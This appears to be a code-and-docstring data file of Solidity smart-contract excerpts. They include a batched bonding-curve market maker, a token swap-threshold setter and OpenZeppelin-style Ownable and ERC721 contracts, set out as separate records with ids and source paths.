require(_userIsSeller(_batchId, _collateral, _seller), ERROR_NOTHING_TO_CLAIM);
_claimCancelledSellOrder(_seller, _batchId, _collateral);
}
/***** public view functions *****/
function getCurrentBatchId() public view isInitialized returns (uint256) {
return _currentBatchId();
}
function getCollateralToken(address _collateral)
public
view
isInitialized
returns (
bool,
uint256,
uint256,
uint32,
uint256
)
{
Collateral storage collateral = collaterals[_collateral];
return (
collateral.whitelisted,
collateral.virtualSupply,
collateral.virtualBalance,
collateral.reserveRatio,
collateral.slippage
);
}
function getBatch(uint256 _batchId, address _collateral)
public
view
isInitialized
returns (
bool,
bool,
uint256,
uint256,
uint32,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
Batch storage batch = metaBatches[_batchId].batches[_collateral];
return (
batch.initialized,
batch.cancelled,
batch.supply,
batch.balance,
batch.reserveRatio,
batch.slippage,
batch.totalBuySpend,
batch.totalBuyReturn,
batch.totalSellSpend,
batch.totalSellReturn
);
}
function getStaticPricePPM(
uint256 _supply,
uint256 _balance,
uint32 _reserveRatio
) public view isInitialized returns (uint256) {
return _staticPricePPM(_supply, _balance, _reserveRatio);
}
/***** internal functions *****/
/* computation functions */
function _staticPricePPM(
uint256 _supply,
uint256 _balance,
uint32 _reserveRatio
) internal pure returns (uint256) {
return uint256(PPM).mul(uint256(PPM)).mul(_balance).div(_supply.mul(uint256(_reserveRatio)));
}
function _currentBatchId() internal view returns (uint256) {
return (block.number.div(batchBlocks)).mul(batchBlocks);
}
/* check functions */
function _beneficiaryIsValid(address _beneficiary) internal pure returns (bool) {
return _beneficiary != address(0);
}
function _feeIsValid(uint256 _fee) internal pure returns (bool) {
return _fee < PCT_BASE;
}
function _reserveRatioIsValid(uint32 _reserveRatio) internal pure returns (bool) {
return _reserveRatio <= PPM;
}
function _collateralValueIsValid(
address _buyer,
address _collateral,
uint256 _value,
uint256 _msgValue
) internal view returns (bool) {
if (_value == 0) {
return false;
}
if (_collateral == ETH) {
return _msgValue == _value;
}
return (_msgValue == 0 &&
controller.balanceOf(_buyer, _collateral) >= _value &&
ERC20(_collateral).allowance(_buyer, address(this)) >= _value);
}
function _bondAmountIsValid(address _seller, uint256 _amount) internal view returns (bool) {
return _amount != 0 && bondedToken.balanceOf(_seller) >= _amount;
}
function _collateralIsWhitelisted(address _collateral) internal view returns (bool) {
return collaterals[_collateral].whitelisted;
}
function _batchIsOver(uint256 _batchId) internal view returns (bool) {
return _batchId < _currentBatchId();
}
function _batchIsCancelled(uint256 _batchId, address _collateral) internal view returns (bool) {
return metaBatches[_batchId].batches[_collateral].cancelled;
}
function _userIsBuyer(
uint256 _batchId,
address _collateral,
address _user
) internal view returns (bool) {
Batch storage batch = metaBatches[_batchId].batches[_collateral];
return batch.buyers[_user] > 0;
}
function _userIsSeller(
uint256 _batchId,
address _collateral,
address _user
) internal view returns (bool) {
Batch storage batch = metaBatches[_batchId].batches[_collateral];
return batch.sellers[_user] > 0;
}
function _poolBalanceIsSufficient(address _collateral) internal view returns (bool) {
return controller.balanceOf(address(reserve), _collateral) >= collateralsToBeClaimed[_collateral];
}
function _slippageIsValid(Batch storage _batch, address) internal view returns (bool) {
uint256 staticPricePPM = _staticPricePPM(_batch.supply, _batch.balance, _batch.reserveRatio);
uint256 maximumSlippage = _batch.slippage;
// if static price is zero let's consider that every slippage is valid
if (staticPricePPM == 0) {
return true;
}
return
_buySlippageIsValid(_batch, staticPricePPM, maximumSlippage) &&
_sellSlippageIsValid(_batch, staticPricePPM, maximumSlippage);
}
function _buySlippageIsValid(
Batch storage _batch,
uint256 _startingPricePPM,
uint256 _maximumSlippage
) internal view returns (bool) {
/**
* NOTE
* the case where starting price is zero is handled
* in the meta function _slippageIsValid()
*/
/**
* NOTE
* slippage is valid if:
* totalBuyReturn >= totalBuySpend / (startingPrice * (1 + maxSlippage))
* totalBuyReturn >= totalBuySpend / ((startingPricePPM / PPM) * (1 + maximumSlippage / PCT_BASE))
* totalBuyReturn >= totalBuySpend / ((startingPricePPM / PPM) * (1 + maximumSlippage / PCT_BASE))
* totalBuyReturn >= totalBuySpend / ((startingPricePPM / PPM) * (PCT + maximumSlippage) / PCT_BASE)
* totalBuyReturn * startingPrice * ( PCT + maximumSlippage) >= totalBuySpend * PCT_BASE * PPM
*/
if (
_batch.totalBuyReturn.mul(_startingPricePPM).mul(PCT_BASE.add(_maximumSlippage)) >=
_batch.totalBuySpend.mul(PCT_BASE).mul(uint256(PPM))
) {
return true;
}
return false;
}
function _sellSlippageIsValid(
Batch storage _batch,
uint256 _startingPricePPM,
uint256 _maximumSlippage
) internal view returns (bool) {
/**
* NOTE
* the case where starting price is zero is handled
* in the meta function _slippageIsValid()
*/
// if allowed sell slippage >= 100%
// then any sell slippage is valid
if (_maximumSlippage >= PCT_BASE) {
return true;
}
/**
* NOTE
* slippage is valid if
* totalSellReturn >= startingPrice * (1 - maxSlippage) * totalBuySpend
* totalSellReturn >= (startingPricePPM / PPM) * (1 - maximumSlippage / PCT_BASE) * totalBuySpend
* totalSellReturn >= (startingPricePPM / PPM) * (PCT_BASE - maximumSlippage) * totalBuySpend / PCT_BASE
* totalSellReturn * PCT_BASE * PPM = startingPricePPM * (PCT_BASE - maximumSlippage) * totalBuySpend
*/
if (
_batch.totalSellReturn.mul(PCT_BASE).mul(uint256(PPM)) >=
_startingPricePPM.mul(PCT_BASE.sub(_maximumSlippage)).mul(_batch.totalSellSpend)
) {
return true;
}
return false;
}
/* initialization functions */
function _currentBatch(address _collateral) internal returns (uint256, Batch storage) {
uint256 batchId = _currentBatchId();
MetaBatch storage metaBatch = metaBatches[batchId];
Batch storage batch = metaBatch.batches[_collateral];
if (!metaBatch.initialized) {
/**
* NOTE
* all collateral batches should be initialized with the same supply to
* avoid price manipulation between different collaterals in the same meta-batch
* we don't need to do the same with collateral balances as orders against one collateral
* can't affect the pool's balance against another collateral and tap is a step-function
* of the meta-batch duration
*/
/**
* NOTE
* realSupply(metaBatch) = totalSupply(metaBatchInitialization) + tokensToBeMinted(metaBatchInitialization)
* 1. buy and sell orders incoming during the current meta-batch and affecting totalSupply or tokensToBeMinted
* should not be taken into account in the price computation [they are already a part of the batched pricing computation]
* 2. the only way for totalSupply to be modified during a meta-batch [outside of incoming buy and sell orders]
* is for buy orders from previous meta-batches to be claimed [and tokens to be minted]:
* as such totalSupply(metaBatch) + tokenToBeMinted(metaBatch) will always equal totalSupply(metaBatchInitialization) + tokenToBeMinted(metaBatchInitialization)
*/
metaBatch.realSupply = bondedToken.totalSupply().add(tokensToBeMinted);
metaBatch.buyFeePct = buyFeePct;
metaBatch.sellFeePct = sellFeePct;
metaBatch.formula = formula;
metaBatch.initialized = true;
emit NewMetaBatch(
batchId,
metaBatch.realSupply,
metaBatch.buyFeePct,
metaBatch.sellFeePct,
metaBatch.formula
);
}
if (!batch.initialized) {
/**
* NOTE
* supply(batch) = realSupply(metaBatch) + virtualSupply(batchInitialization)
* virtualSupply can technically be updated during a batch: the on-going batch will still use
* its value at the time of initialization [it's up to the updater to act wisely]
*/
/**
* NOTE
* balance(batch) = poolBalance(batchInitialization) - collateralsToBeClaimed(batchInitialization) + virtualBalance(metaBatchInitialization)
* 1. buy and sell orders incoming during the current batch and affecting poolBalance or collateralsToBeClaimed
* should not be taken into account in the price computation [they are already a part of the batched price computation]
* 2. the only way for poolBalance to be modified during a batch [outside of incoming buy and sell orders]
* is for sell orders from previous meta-batches to be claimed [and collateral to be transfered] as the tap is a step-function of the meta-batch duration:
* as such poolBalance(batch) - collateralsToBeClaimed(batch) will always equal poolBalance(batchInitialization) - collateralsToBeClaimed(batchInitialization)
* 3. virtualBalance can technically be updated during a batch: the on-going batch will still use
* its value at the time of initialization [it's up to the updater to act wisely]
*/
controller.updateTappedAmount(_collateral);
batch.supply = metaBatch.realSupply.add(collaterals[_collateral].virtualSupply);
batch.balance = controller
.balanceOf(address(reserve), _collateral)
.add(collaterals[_collateral].virtualBalance)
.sub(collateralsToBeClaimed[_collateral]);
batch.reserveRatio = collaterals[_collateral].reserveRatio;
batch.slippage = collaterals[_collateral].slippage;
batch.initialized = true;
emit NewBatch(batchId, _collateral, batch.supply, batch.balance, batch.reserveRatio, batch.slippage);
}
return (batchId, batch);
}
/* state modifiying functions */
function _open() internal {
isOpen = true;
emit Open();
}
function _updateBeneficiary(address _beneficiary) internal {
beneficiary = _beneficiary;
emit UpdateBeneficiary(_beneficiary);
}
function _updateFormula(IBancorFormula _formula) internal {
formula = _formula;
emit UpdateFormula(address(_formula));
}
function _updateFees(uint256 _buyFeePct, uint256 _sellFeePct) internal {
buyFeePct = _buyFeePct;
sellFeePct = _sellFeePct;
emit UpdateFees(_buyFeePct, _sellFeePct);
}
function _cancelCurrentBatch(address _collateral) internal {
(uint256 batchId, Batch storage batch) = _currentBatch(_collateral);
if (!batch.cancelled) {
batch.cancelled = true;
// bought bonds are cancelled but sold bonds are due back
// bought collaterals are cancelled but sold collaterals are due back
tokensToBeMinted = tokensToBeMinted.sub(batch.totalBuyReturn).add(batch.totalSellSpend);
collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].add(batch.totalBuySpend).sub(
batch.totalSellReturn
);
emit CancelBatch(batchId, _collateral);
}
}
function _addCollateralToken(
address _collateral,
uint256 _virtualSupply,
uint256 _virtualBalance,
uint32 _reserveRatio,
uint256 _slippage
) internal {
collaterals[_collateral].whitelisted = true;
collaterals[_collateral].virtualSupply = _virtualSupply;
collaterals[_collateral].virtualBalance = _virtualBalance;
collaterals[_collateral].reserveRatio = _reserveRatio;
collaterals[_collateral].slippage = _slippage;
emit AddCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage);
}
function _removeCollateralToken(address _collateral) internal {
_cancelCurrentBatch(_collateral);
Collateral storage collateral = collaterals[_collateral];
delete collateral.whitelisted;
delete collateral.virtualSupply;
delete collateral.virtualBalance;
delete collateral.reserveRatio;
delete collateral.slippage;
emit RemoveCollateralToken(_collateral);
}
function _updateCollateralToken(
address _collateral,
uint256 _virtualSupply,
uint256 _virtualBalance,
uint32 _reserveRatio,
uint256 _slippage
) internal {
collaterals[_collateral].virtualSupply = _virtualSupply;
collaterals[_collateral].virtualBalance = _virtualBalance;
collaterals[_collateral].reserveRatio = _reserveRatio;
collaterals[_collateral].slippage = _slippage;
emit UpdateCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage);
}
function _openBuyOrder(
address _buyer,
address _collateral,
uint256 _value
) internal {
(uint256 batchId, Batch storage batch) = _currentBatch(_collateral);
// deduct fee
uint256 fee = _value.mul(metaBatches[batchId].buyFeePct).div(PCT_BASE);
uint256 value = _value.sub(fee);
// collect fee and collateral
if (fee > 0) {
_transfer(_buyer, beneficiary, _collateral, fee);
}
_transfer(_buyer, address(reserve), _collateral, value);
// save batch
uint256 deprecatedBuyReturn = batch.totalBuyReturn;
uint256 deprecatedSellReturn = batch.totalSellReturn;
// update batch
batch.totalBuySpend = batch.totalBuySpend.add(value);
batch.buyers[_buyer] = batch.buyers[_buyer].add(value);
// update pricing
_updatePricing(batch, batchId, _collateral);
// update the amount of tokens to be minted and collaterals to be claimed
tokensToBeMinted = tokensToBeMinted.sub(deprecatedBuyReturn).add(batch.totalBuyReturn);
collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(deprecatedSellReturn).add(
batch.totalSellReturn
);
// sanity checks
require(_slippageIsValid(batch, _collateral), ERROR_SLIPPAGE_EXCEEDS_LIMIT);
emit OpenBuyOrder(_buyer, batchId, _collateral, fee, value);
}
function _openSellOrder(
address _seller,
address _collateral,
uint256 _amount
) internal {
(uint256 batchId, Batch storage batch) = _currentBatch(_collateral);
// burn bonds
bondedToken.burn(_seller, _amount);
// save batch
uint256 deprecatedBuyReturn = batch.totalBuyReturn;
uint256 deprecatedSellReturn = batch.totalSellReturn;
// update batch
batch.totalSellSpend = batch.totalSellSpend.add(_amount);
batch.sellers[_seller] = batch.sellers[_seller].add(_amount);
// update pricing
_updatePricing(batch, batchId, _collateral);
// update the amount of tokens to be minted and collaterals to be claimed
tokensToBeMinted = tokensToBeMinted.sub(deprecatedBuyReturn).add(batch.totalBuyReturn);
collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(deprecatedSellReturn).add(
batch.totalSellReturn
);
// sanity checks
require(_slippageIsValid(batch, _collateral), ERROR_SLIPPAGE_EXCEEDS_LIMIT);
require(_poolBalanceIsSufficient(_collateral), ERROR_INSUFFICIENT_POOL_BALANCE);
emit OpenSellOrder(_seller, batchId, _collateral, _amount);
}
function _claimBuyOrder(
address _buyer,
uint256 _batchId,
address _collateral
) internal {
Batch storage batch = metaBatches[_batchId].batches[_collateral];
uint256 buyReturn = (batch.buyers[_buyer].mul(batch.totalBuyReturn)).div(batch.totalBuySpend);
batch.buyers[_buyer] = 0;
if (buyReturn > 0) {
tokensToBeMinted = tokensToBeMinted.sub(buyReturn);
bondedToken.mint(_buyer, buyReturn);
}
emit ClaimBuyOrder(_buyer, _batchId, _collateral, buyReturn);
}
function _claimSellOrder(
address _seller,
uint256 _batchId,
address _collateral
) internal {
Batch storage batch = metaBatches[_batchId].batches[_collateral];
uint256 saleReturn = (batch.sellers[_seller].mul(batch.totalSellReturn)).div(batch.totalSellSpend);
uint256 fee = saleReturn.mul(metaBatches[_batchId].sellFeePct).div(PCT_BASE);
uint256 value = saleReturn.sub(fee);
batch.sellers[_seller] = 0;
if (value > 0) {
collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(saleReturn);
reserve.transfer(_collateral, _seller, value);
}
if (fee > 0) {
reserve.transfer(_collateral, beneficiary, fee);
}
emit ClaimSellOrder(_seller, _batchId, _collateral, fee, value);
}
function _claimCancelledBuyOrder(
address _buyer,
uint256 _batchId,
address _collateral
) internal {
Batch storage batch = metaBatches[_batchId].batches[_collateral];
uint256 value = batch.buyers[_buyer];
batch.buyers[_buyer] = 0;
if (value > 0) {
collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(value);
reserve.transfer(_collateral, _buyer, value);
}
emit ClaimCancelledBuyOrder(_buyer, _batchId, _collateral, value);
}
function _claimCancelledSellOrder(
address _seller,
uint256 _batchId,
address _collateral
) internal {
Batch storage batch = metaBatches[_batchId].batches[_collateral];
uint256 amount = batch.sellers[_seller];
batch.sellers[_seller] = 0;
if (amount > 0) {
tokensToBeMinted = tokensToBeMinted.sub(amount);
bondedToken.mint(_seller, amount);
}
emit ClaimCancelledSellOrder(_seller, _batchId, _collateral, amount);
}
function _updatePricing(
Batch storage batch,
uint256 _batchId,
address _collateral
) internal {
// the situation where there are no buy nor sell orders can't happen [keep commented]
// if (batch.totalSellSpend == 0 && batch.totalBuySpend == 0)
// return;
// static price is the current exact price in collateral
// per token according to the initial state of the batch
// [expressed in PPM for precision sake]
uint256 staticPricePPM = _staticPricePPM(batch.supply, batch.balance, batch.reserveRatio);
// [NOTE]
// if staticPrice is zero then resultOfSell [= 0] <= batch.totalBuySpend
// so totalSellReturn will be zero and totalBuyReturn will be
// computed normally along the formula
// 1. we want to find out if buy orders are worth more sell orders [or vice-versa]
// 2. we thus check the return of sell orders at the current exact price
// 3. if the return of sell orders is larger than the pending buys,
// there are more sells than buys [and vice-versa]
uint256 resultOfSell = batch.totalSellSpend.mul(staticPricePPM).div(uint256(PPM));
if (resultOfSell > batch.totalBuySpend) {
// >> sell orders are worth more than buy orders
// 1. first we execute all pending buy orders at the current exact
// price because there is at least one sell order for each buy order
// 2. then the final sell return is the addition of this first
// matched return with the remaining bonding curve return
// the number of tokens bought as a result of all buy orders matched at the
// current exact price [which is less than the total amount of tokens to be sold]
batch.totalBuyReturn = batch.totalBuySpend.mul(uint256(PPM)).div(staticPricePPM);
// the number of tokens left over to be sold along the curve which is the difference
// between the original total sell order and the result of all the buy orders
uint256 remainingSell = batch.totalSellSpend.sub(batch.totalBuyReturn);
// the amount of collateral generated by selling tokens left over to be sold
// along the bonding curve in the batch initial state [as if the buy orders
// never existed and the sell order was just smaller than originally thought]
uint256 remainingSellReturn =
metaBatches[_batchId].formula.calculateSaleReturn(
batch.supply,
batch.balance,
batch.reserveRatio,
remainingSell
);
// the total result of all sells is the original amount of buys which were matched
// plus the remaining sells which were executed along the bonding curve
batch.totalSellReturn = batch.totalBuySpend.add(remainingSellReturn);
} else {
// >> buy orders are worth more than sell orders
// 1. first we execute all pending sell orders at the current exact
// price because there is at least one buy order for each sell order
// 2. then the final buy return is the addition of this first
// matched return with the remaining bonding curve return
// the number of collaterals bought as a result of all sell orders matched at the
// current exact price [which is less than the total amount of collateral to be spent]
batch.totalSellReturn = resultOfSell;
// the number of collaterals left over to be spent along the curve which is the difference
// between the original total buy order and the result of all the sell orders
uint256 remainingBuy = batch.totalBuySpend.sub(resultOfSell);
// the amount of tokens generated by selling collaterals left over to be spent
// along the bonding curve in the batch initial state [as if the sell orders
// never existed and the buy order was just smaller than originally thought]
uint256 remainingBuyReturn =
metaBatches[_batchId].formula.calculatePurchaseReturn(
batch.supply,
batch.balance,
batch.reserveRatio,
remainingBuy
);
// the total result of all buys is the original amount of buys which were matched
// plus the remaining buys which were executed along the bonding curve
batch.totalBuyReturn = batch.totalSellSpend.add(remainingBuyReturn);
}
emit UpdatePricing(
_batchId,
_collateral,
batch.totalBuySpend,
batch.totalBuyReturn,
batch.totalSellSpend,
batch.totalSellReturn
);
}
function _transfer(
address _from,
address _to,
address _collateralToken,
uint256 _amount
) internal {
if (_collateralToken == ETH) {
_to.transfer(_amount);
} else {
require(ERC20(_collateralToken).safeTransferFrom(_from, _to, _amount), ERROR_TRANSFER_FROM_FAILED);
}
}
}
|
Claim the results of `_buyer`'s `_collateral.symbol(): string` buy orders from batch `_batchId` _buyer The address of the user whose buy orders are to be claimed _batchId The id of the batch in which buy orders are to be claimed _collateral The address of the collateral token against which buy orders are to be claimed/
|
function claimBuyOrder(
address _buyer,
uint256 _batchId,
address _collateral
) external nonReentrant isInitialized {
require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED);
require(_batchIsOver(_batchId), ERROR_BATCH_NOT_OVER);
require(!_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_CANCELLED);
require(_userIsBuyer(_batchId, _collateral, _buyer), ERROR_NOTHING_TO_CLAIM);
_claimBuyOrder(_buyer, _batchId, _collateral);
}
| 5,455,288 |
./full_match/5/0x469075aEeDa277fA1631Ed627d17B074DE015886/sources/src/miyagi.sol
|
Set minimum tokens required to swap.
|
function setMinSwapTokensThreshold(
uint256 swapTokensAtAmount
) public onlyOwner {
_swapTokensAtAmount = (_tTotal * swapTokensAtAmount) / 1000;
}
| 11,627,563 |
./partial_match/1/0xdee1beD25b055358185511Fe20dF6342b62316F7/sources/ERC20.sol
|
Transfer token for a specified address to The address to transfer to. value The amount to be transferred./
|
function transfer(address to, uint256 value) public whenNotPaused override(IERC20) returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
| 4,318,115 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
